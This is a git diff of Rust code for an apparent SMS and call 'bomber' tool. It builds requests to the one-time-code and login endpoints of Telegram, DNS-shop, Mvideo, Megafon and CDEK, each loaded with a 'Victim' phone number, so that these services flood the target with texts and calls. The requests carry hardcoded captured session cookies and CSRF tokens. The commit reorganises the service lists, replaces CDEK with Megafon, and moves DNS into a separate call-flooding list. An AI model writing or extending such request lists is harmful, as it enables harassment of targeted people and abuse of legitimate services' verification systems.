1
+ use crate :: phone:: FormatterTypes :: Without7 ;
1
2
use crate :: phone:: { Country , FormatterTypes :: WithPlus , Phone } ;
2
3
use reqwest:: header:: HeaderMap ;
3
4
use reqwest:: Method ;
@@ -14,11 +15,11 @@ pub struct Service {
14
15
pub body : serde_json:: Value ,
15
16
}
16
17
17
- #[ derive( Debug , Clone ) ]
18
+ #[ derive( Debug , Clone , PartialEq ) ]
18
19
pub enum ServiceType {
19
20
Sms ,
20
21
Call ,
21
- ServiceSms ,
22
+ ServiceMessage ,
22
23
}
23
24
24
25
#[ allow( clippy:: upper_case_acronyms) ]
@@ -37,31 +38,31 @@ pub struct Victim {
37
38
pub surname : String ,
38
39
}
39
40
40
- /*
41
- //
42
- {
43
- let mut service = Service {
44
- name: "".to_string(),
45
- service_type: ServiceType::,
46
- method: Method::,
47
- url: "".to_string(),
48
- headers: HeaderMap::new(),
49
- body_type: BodyType::,
50
- body: Default::default(),
51
- };
52
-
53
- service.headers.insert("", r#""#.parse().unwrap());
54
-
55
- let mut phone = victim.phone.clone();
56
- phone.format(WithPlus);
57
- service.body = json!({
58
- "phone": phone.phone
59
- });
60
-
61
- services.push(service);
62
- }
63
- */
41
+ /// Example
42
+ /// //
43
+ /// {
44
+ /// let mut service = Service {
45
+ /// name: "".to_string(),
46
+ /// service_type: ServiceType::,
47
+ /// method: Method::,
48
+ /// url: "".to_string(),
49
+ /// headers: HeaderMap::new(),
50
+ /// body_type: BodyType::,
51
+ /// body: Default::default(),
52
+ /// };
53
+ ///
54
+ /// service.headers.insert("", r#""#.parse().unwrap());
55
+ ///
56
+ /// let mut phone = victim.phone.clone();
57
+ /// phone.format(WithPlus);
58
+ /// service.body = json!({
59
+ /// "phone": phone.phone
60
+ /// });
61
+ ///
62
+ /// services.push(service);
63
+ /// }
64
64
65
+ /// List of SMS services and services messages
65
66
pub fn construct_services_list ( victim : Victim ) -> Vec < Service > {
66
67
let mut services = Vec :: new ( ) ;
67
68
@@ -71,7 +72,7 @@ pub fn construct_services_list(victim: Victim) -> Vec<Service> {
71
72
{
72
73
let mut service = Service {
73
74
name : "Telegram" . to_string ( ) ,
74
- service_type : ServiceType :: ServiceSms ,
75
+ service_type : ServiceType :: ServiceMessage ,
75
76
method : Method :: POST ,
76
77
url : "https://my.telegram.org/auth/send_password" . to_string ( ) ,
77
78
headers : HeaderMap :: new ( ) ,
@@ -108,30 +109,6 @@ pub fn construct_services_list(victim: Victim) -> Vec<Service> {
108
109
109
110
services. push ( service) ;
110
111
}
111
- // DNS
112
- {
113
- let mut service = Service {
114
- name : "DNS" . to_string ( ) ,
115
- service_type : ServiceType :: Call ,
116
- method : Method :: POST ,
117
- url : "https://www.dns-shop.ru/auth/auth/fast-authorization/" . to_string ( ) ,
118
- headers : HeaderMap :: new ( ) ,
119
- body_type : BodyType :: Form ,
120
- body : Default :: default ( ) ,
121
- } ;
122
-
123
- service. headers . insert ( "Cookie" , r#"qrator_jsr=1723134943.891.bZA1mPLKscU7myr3-no9pgdc87rb1cc41j5c435122d4m4aee-00; qrator_ssid=1723134945.200.tB6sCNRMTxnS9mZT-th5o0b3bc8jr2ql6dc0ccp978iphttq5; qrator_jsid=1723134943.891.bZA1mPLKscU7myr3-k4tmm4n3g0v9ekubja8t83bea7frprd7; lang=ru; city_path=moscow; current_path=605bfdc517d7e9e23947448a9bf1ce16ac36b884434a3fdb10db053793c50392a%3A2%3A%7Bi%3A0%3Bs%3A12%3A%22current_path%22%3Bi%3A1%3Bs%3A115%3A%22%7B%22city%22%3A%2230b7c1f3-03fb-11dc-95ee-00151716f9f5%22%2C%22cityName%22%3A%22%5Cu041c%5Cu043e%5Cu0441%5Cu043a%5Cu0432%5Cu0430%22%2C%22method%22%3A%22manual%22%7D%22%3B%7D; phonesIdentV2=0c63b8e9-77d0-449f-b0dd-ec99e69c9dc6; cartUserCookieIdent_v3=1a84a07b671c1aecbf929fa9faafcbcb91ce57f6d1ea2adb6dcdce4cdbec3befa%3A2%3A%7Bi%3A0%3Bs%3A22%3A%22cartUserCookieIdent_v3%22%3Bi%3A1%3Bs%3A36%3A%2265b0aa3b-e0f6-3c7e-beae-4715bf8b306c%22%3B%7D; _ab_=%7B%22catalog-filter-title-test%22%3A%22GROUP_2%22%7D; rrpvid=560296951004103; _ga_FLS4JETDHW=GS1.1.1723134957.1.1.1723134991.26.0.1400768249; _ga=GA1.1.298649215.1723134957; rcuid=66b4f3eeee55c15e759d7a55; tmr_lvid=fff40a89d5b30007c58d61cc405ab33b; tmr_lvidTS=1723134960450; _ym_uid=1723134961314038164; _ym_d=1723134961; _ym_isad=2; _ym_visorc=b; domain_sid=Dqj17u3-29WrUNyaTzlrr%3A1723134962861; tmr_detect=0%7C1723134968561; dnsauth_csrf=c02db7507fd5c3a7acba66f204a2934353e7910cdbeb6fa0dd3b4e94f0694389a%3A2%3A%7Bi%3A0%3Bs%3A12%3A%22dnsauth_csrf%22%3Bi%3A1%3Bs%3A36%3A%220085e58d-a105-4e76-b118-2a7bf227969a%22%3B%7D"# . parse ( ) . unwrap ( ) ) ;
124
-
125
- let mut phone = victim. phone . clone ( ) ;
126
- phone. format ( WithPlus ) ;
127
- service. body = json ! ( {
128
- "FastAuthorizationLoginLoadForm[login]" : phone. phone,
129
- "FastAuthorizationLoginLoadForm[token]" : "" ,
130
- "FastAuthorizationLoginLoadForm[isPhoneCall]" : 1
131
- } ) ;
132
-
133
- services. push ( service) ;
134
- }
135
112
// Mvideo
136
113
{
137
114
let mut service = Service {
@@ -215,30 +192,25 @@ pub fn construct_services_list(victim: Victim) -> Vec<Service> {
215
192
216
193
services. push ( service) ;
217
194
}
218
- // CDEK
195
+
196
+ // Operators
197
+ // Megafon
219
198
{
220
199
let mut service = Service {
221
- name : "CDEK " . to_string ( ) ,
200
+ name : "Megafon " . to_string ( ) ,
222
201
service_type : ServiceType :: Sms ,
223
202
method : Method :: POST ,
224
- url : "https://www.cdek .ru/api-site /auth/send-code/ " . to_string ( ) ,
203
+ url : "https://lk.megafon .ru/api/auth/otp/request " . to_string ( ) ,
225
204
headers : HeaderMap :: new ( ) ,
226
- body_type : BodyType :: JSON ,
205
+ body_type : BodyType :: Form ,
227
206
body : Default :: default ( ) ,
228
207
} ;
229
208
230
- service
231
- . headers
232
- . insert ( "Host" , r#"www.cdek.ru"# . parse ( ) . unwrap ( ) ) ;
209
+ service. headers . insert ( "User-Agent" , r#"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:129.0) Gecko/20100101 Firefox/129.0"# . parse ( ) . unwrap ( ) ) ;
233
210
service. headers . insert (
234
- "User-Agent" ,
235
- r#"Mozilla/5.0 (X11; Linux x86_64; rv:129.0) Gecko/20100101 Firefox/129.0"#
236
- . parse ( )
237
- . unwrap ( ) ,
211
+ "Accept" ,
212
+ r#"application/json, text/plain, */*"# . parse ( ) . unwrap ( ) ,
238
213
) ;
239
- service
240
- . headers
241
- . insert ( "Accept" , r#"application/json"# . parse ( ) . unwrap ( ) ) ;
242
214
service. headers . insert (
243
215
"Accept-Language" ,
244
216
r#"ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3"# . parse ( ) . unwrap ( ) ,
@@ -249,22 +221,32 @@ pub fn construct_services_list(victim: Victim) -> Vec<Service> {
249
221
) ;
250
222
service
251
223
. headers
252
- . insert ( "Content-Type" , r#"application/json"# . parse ( ) . unwrap ( ) ) ;
224
+ . insert ( "Referer" , r#"https://lk.megafon.ru/login"# . parse ( ) . unwrap ( ) ) ;
225
+ service. headers . insert (
226
+ "Content-Type" ,
227
+ r#"application/x-www-form-urlencoded; charset=UTF-8"#
228
+ . parse ( )
229
+ . unwrap ( ) ,
230
+ ) ;
253
231
service
254
232
. headers
255
- . insert ( "Origin" , r#"https://www.cdek.ru"# . parse ( ) . unwrap ( ) ) ;
256
- service. headers . insert ( "DNT" , r#"1"# . parse ( ) . unwrap ( ) ) ;
257
- service. headers . insert ( "Sec-GPC" , r#"1"# . parse ( ) . unwrap ( ) ) ;
233
+ . insert ( "X-App-Type" , r#"react_lk"# . parse ( ) . unwrap ( ) ) ;
258
234
service
259
235
. headers
260
- . insert ( "Connection " , r#"keep-alive "# . parse ( ) . unwrap ( ) ) ;
236
+ . insert ( "X-Cabinet-Capabilities " , r#"web-2020 "# . parse ( ) . unwrap ( ) ) ;
261
237
service. headers . insert (
262
- "Referer " ,
263
- r#"https://www.cdek.ru/ru/?utm_referrer=https%3A%2F%2Fwww.google.com%2F "#
238
+ "traceparent " ,
239
+ r#"00-3c12254297d2b3c78b6b333820442716-c1abbf0182398532-01 "#
264
240
. parse ( )
265
241
. unwrap ( ) ,
266
242
) ;
267
- service. headers . insert ( "Cookie" , r#"qrator_jsr=v2.0.1725453696.816.5db9c67c9BA4mON6|wDhYa3zodgygc0VC|HPwsvW9Zuv1XfCTjvV4tOWRTid+B/ueiRN0EgCam/CHTpFE4F0yTC8XPiudRXVSm4ORlmY50slwKLtAp1E5CKQA5olwrAhCr9FEI6vtV52o=-AbEZ5HAjGZF97yfQPTUx5bcyS7g=-00; qrator_jsid2=v2.0.1725453696.816.5db9c67c9BA4mON6|zSGcWWCA9EQz5GL6|nApVRY7ukbEXgupPcTFQ+GTJlCMZC2VjqrBRV0RitGnPYCHxFbSdSYke3e66Tq0kyxo6cKqU0Qox4xhaJ43bcHK99Imhepi40tIOA+qSgqMNAAmdO39S752QMJFugMx+2+2pcvWJ6E1P/FtKWTQ42w==-DgUM8iSbc2kCmEpwxWOGRqDq4eU=; cdek-stick=1725453698.852.1097792.944145|4d286599a6e893574f6bcc8bc0b1b325; sbjs_migrations=1418474375998%3D1; sbjs_current_add=fd%3D2024-09-04%2015%3A41%3A42%7C%7C%7Cep%3Dhttps%3A%2F%2Fwww.cdek.ru%2Fru%2F%3Futm_referrer%3Dhttps%253A%252F%252Fwww.google.com%252F%7C%7C%7Crf%3D%28none%29; sbjs_first_add=fd%3D2024-09-04%2015%3A41%3A42%7C%7C%7Cep%3Dhttps%3A%2F%2Fwww.cdek.ru%2Fru%2F%3Futm_referrer%3Dhttps%253A%252F%252Fwww.google.com%252F%7C%7C%7Crf%3D%28none%29; sbjs_current=typ%3Dtypein%7C%7C%7Csrc%3D%28direct%29%7C%7C%7Cmdm%3D%28none%29%7C%7C%7Ccmp%3D%28none%29%7C%7C%7Ccnt%3D%28none%29%7C%7C%7Ctrm%3D%28none%29; sbjs_first=typ%3Dtypein%7C%7C%7Csrc%3D%28direct%29%7C%7C%7Cmdm%3D%28none%29%7C%7C%7Ccmp%3D%28none%29%7C%7C%7Ccnt%3D%28none%29%7C%7C%7Ctrm%3D%28none%29; sbjs_udata=vst%3D1%7C%7C%7Cuip%3D%28none%29%7C%7C%7Cuag%3DMozilla%2F5.0%20%28X11%3B%20Linux%20x86_64%3B%20rv%3A129.0%29%20Gecko%2F20100101%20Firefox%2F129.0; sbjs_session=pgs%3D1%7C%7C%7Ccpg%3Dhttps%3A%2F%2Fwww.cdek.ru%2Fru%2F%3Futm_referrer%3Dhttps%253A%252F%252Fwww.google.com%252F; cpss=eyJ0b2tlbiI6InBoaWVZaWFzaDNpUnUzYWgifQ%3D%3D; advcake_track_id=5f4de0a0-2094-c568-fc22-93d9f4a0ec55; advcake_session_id=f0fd745c-81ed-ab5e-dced-c802b2c3f81c; cityid=1095; flomni_5d713233e8bc9e000b3ebfd2={%22userHash%22:%2207e1e570-c44c-4dae-95ad-345ec15c138c%22}; advcake_track_url=%3D20240902HkU1OkM3cOcCDZXujDrn9yl7qqKKSZy53mBDf9HsdF9D7G7%2BPVEhFmAeB%2B5dJ9O%2F90Omkr%2Brs%2FlkV9P89Bwk8DyzSD0Bgnos%2BE9eREMKdrcnYDp0CXowZBtN8GUs9Hu%2F9QQzc20jZS%2B1FGFGjxRN7JqsMGzIq%2Bqe8B7Mj8rRRx%2FeMoM6Skh2Xr3nMauaGZ1AFSct7KvIFvGHxs49otWCxsISL0YzRYx%2Br7ddCaenntt21j9RH9ah4k1Qp1rqaCvXd6peIicu7nntoIoC26610Ed8jIdfQ5Y%2BYPt3KYDM7CKqfJf8NJnYVul4MHFzCb4xJxstXjj%2FM5LaXjKswS2Mdw71E189tQjil%2B00TuJ2VNVBIrbuoIfCkSNwDg5CnVJ6pQzXuP%2BLP1I1EWxN3cLZu3LYOP94yRP57pgp8pAfwtjmZ%2FWdNIidwUbnM%2BlXaXLeeo21OafI5wYgsJCG7fL1bP2dNbn56gWXhqi1x92zk51BVZmgANkxOsJeh2CM0vS5CLoBN4kCwU0u2QeGt0uR6LJxULOrf%2B8pkfbYWXXOVrQar2M2nUZyft54AhGeJEVD357eRj83i3ezxhHu4ahS43bbzz71BgWVNaEzJVfIi8otc2pAJE3kCuP2wPmVkggqU6vwCdKpxseBu33gIhU5%2BVzAosR5xWxdCrf9i4aSxkBXynY2b1zoT2o%3D"# . parse ( ) . unwrap ( ) ) ;
243
+ service
244
+ . headers
245
+ . insert ( "Origin" , r#"https://lk.megafon.ru"# . parse ( ) . unwrap ( ) ) ;
246
+ service
247
+ . headers
248
+ . insert ( "Connection" , r#"keep-alive"# . parse ( ) . unwrap ( ) ) ;
249
+ service. headers . insert ( "Cookie" , r#"LB-lk.megafon.ru=ffffffff0978c6a545525d5f4f58455e445a4a423660; page_load_start=1723118955914; DEVICE-ID=ce6fe18a-64e7-45b6-84c3-f9a3cae5588a; CSRF-TOKEN=0b193280-3bfa-4104-8084-f002febc4cf4; JSESSIONID=dc7806f8-cb02-49c4-a4aa-2bcf7a0e22c6; AUTOLOGIN-CHAIN-SESSION-KEY=8fb705f1-2e73-4984-86da-f3c858d90454; USER-REFERENCE-ID=7lBhADJeoRq2AeHmdIG2hw; _ym_uid=1723118949631111238; _ym_d=1723118949; _ym_isad=2; _ymab_param=VxcsX2bLdzwzxnUVPLAxUnBMRoW6E9LXybZoebjUAX2SKTHMD_x0N-AqRpdoT-KTpUrNs8ccvFAvi2egoTqL6umIzBA"# . parse ( ) . unwrap ( ) ) ;
268
250
service
269
251
. headers
270
252
. insert ( "Sec-Fetch-Dest" , r#"empty"# . parse ( ) . unwrap ( ) ) ;
@@ -276,15 +258,49 @@ pub fn construct_services_list(victim: Victim) -> Vec<Service> {
276
258
. insert ( "Sec-Fetch-Site" , r#"same-origin"# . parse ( ) . unwrap ( ) ) ;
277
259
service
278
260
. headers
279
- . insert ( "host" , r#"www.cdek.ru"# . parse ( ) . unwrap ( ) ) ;
261
+ . insert ( "Priority" , r#"u=0"# . parse ( ) . unwrap ( ) ) ;
262
+
263
+ let mut phone = victim. phone . clone ( ) ;
264
+ phone. format ( Without7 ) ;
265
+ service. body = json ! ( {
266
+ "login" : phone. phone,
267
+ "captchaReady" : true
268
+ } ) ;
269
+
270
+ services. push ( service) ;
271
+ }
272
+ }
273
+ }
274
+
275
+ services
276
+ }
277
+
278
+ /// List of call services
279
+ pub fn construct_call_services_list ( victim : Victim ) -> Vec < Service > {
280
+ let mut services = Vec :: new ( ) ;
281
+
282
+ match victim. phone . country {
283
+ Country :: Ru => {
284
+ // DNS
285
+ {
286
+ let mut service = Service {
287
+ name : "DNS" . to_string ( ) ,
288
+ service_type : ServiceType :: Call ,
289
+ method : Method :: POST ,
290
+ url : "https://www.dns-shop.ru/auth/auth/fast-authorization/" . to_string ( ) ,
291
+ headers : HeaderMap :: new ( ) ,
292
+ body_type : BodyType :: Form ,
293
+ body : Default :: default ( ) ,
294
+ } ;
295
+
296
+ service. headers . insert ( "Cookie" , r#"qrator_jsr=1723134943.891.bZA1mPLKscU7myr3-no9pgdc87rb1cc41j5c435122d4m4aee-00; qrator_ssid=1723134945.200.tB6sCNRMTxnS9mZT-th5o0b3bc8jr2ql6dc0ccp978iphttq5; qrator_jsid=1723134943.891.bZA1mPLKscU7myr3-k4tmm4n3g0v9ekubja8t83bea7frprd7; lang=ru; city_path=moscow; current_path=605bfdc517d7e9e23947448a9bf1ce16ac36b884434a3fdb10db053793c50392a%3A2%3A%7Bi%3A0%3Bs%3A12%3A%22current_path%22%3Bi%3A1%3Bs%3A115%3A%22%7B%22city%22%3A%2230b7c1f3-03fb-11dc-95ee-00151716f9f5%22%2C%22cityName%22%3A%22%5Cu041c%5Cu043e%5Cu0441%5Cu043a%5Cu0432%5Cu0430%22%2C%22method%22%3A%22manual%22%7D%22%3B%7D; phonesIdentV2=0c63b8e9-77d0-449f-b0dd-ec99e69c9dc6; cartUserCookieIdent_v3=1a84a07b671c1aecbf929fa9faafcbcb91ce57f6d1ea2adb6dcdce4cdbec3befa%3A2%3A%7Bi%3A0%3Bs%3A22%3A%22cartUserCookieIdent_v3%22%3Bi%3A1%3Bs%3A36%3A%2265b0aa3b-e0f6-3c7e-beae-4715bf8b306c%22%3B%7D; _ab_=%7B%22catalog-filter-title-test%22%3A%22GROUP_2%22%7D; rrpvid=560296951004103; _ga_FLS4JETDHW=GS1.1.1723134957.1.1.1723134991.26.0.1400768249; _ga=GA1.1.298649215.1723134957; rcuid=66b4f3eeee55c15e759d7a55; tmr_lvid=fff40a89d5b30007c58d61cc405ab33b; tmr_lvidTS=1723134960450; _ym_uid=1723134961314038164; _ym_d=1723134961; _ym_isad=2; _ym_visorc=b; domain_sid=Dqj17u3-29WrUNyaTzlrr%3A1723134962861; tmr_detect=0%7C1723134968561; dnsauth_csrf=c02db7507fd5c3a7acba66f204a2934353e7910cdbeb6fa0dd3b4e94f0694389a%3A2%3A%7Bi%3A0%3Bs%3A12%3A%22dnsauth_csrf%22%3Bi%3A1%3Bs%3A36%3A%220085e58d-a105-4e76-b118-2a7bf227969a%22%3B%7D"# . parse ( ) . unwrap ( ) ) ;
280
297
281
298
let mut phone = victim. phone . clone ( ) ;
282
299
phone. format ( WithPlus ) ;
283
300
service. body = json ! ( {
284
- "locale" : "ru" ,
285
- "websiteId" : "ru" ,
286
- "phone" : phone. phone,
287
- "token" : null
301
+ "FastAuthorizationLoginLoadForm[login]" : phone. phone,
302
+ "FastAuthorizationLoginLoadForm[token]" : "" ,
303
+ "FastAuthorizationLoginLoadForm[isPhoneCall]" : 1
288
304
} ) ;
289
305
290
306
services. push ( service) ;
0 commit comments